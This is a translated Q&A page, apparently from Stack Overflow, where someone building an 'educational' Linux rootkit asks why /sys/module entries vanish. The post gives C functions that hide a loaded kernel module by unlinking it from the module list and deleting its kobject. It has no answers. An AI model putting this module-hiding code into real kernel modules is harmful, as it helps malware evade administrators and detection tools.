模块隐藏删除/ sys / module / mymodule内容

时间:2016-09-21 08:09:24

标签: c linux linux-kernel kernel-module

我正在做一个rootkit用于教育目的,但我遇到了一个问题:每当我隐藏我的模块并将其显示回来时,/sys/module/mymodule/的内容都会被删除。

这是我的隐藏和显示功能:

void module_hide(void) {
        /* The module is already hidden, do nothing. */
        if(module_hidden) return;

        module_previous = THIS_MODULE->list.prev;
        list_del(&THIS_MODULE->list);
        module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
        kobject_del(&THIS_MODULE->mkobj.kobj);
        list_del(&THIS_MODULE->mkobj.kobj.entry);
        module_hidden = !module_hidden;
        printk(KERN_INFO "Module hidden\n");
}

void module_show(void) {
        /* The module is not hidden yet, nothing more to show. */
        if(!module_hidden) return;

        list_add(&THIS_MODULE->list, module_previous);
        kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, MODULE_NAME);
        module_hidden = !module_hidden;
        printk(KERN_INFO "Module no longer hidden\n");
}

我尝试用kobjec_add替换kobject_init_and_add,但它不起作用,所以我想我要么忘记了某些内容,要么删除了太多东西。
另外,我试图在Linux 4.7上运行它。

0 个答案:

没有答案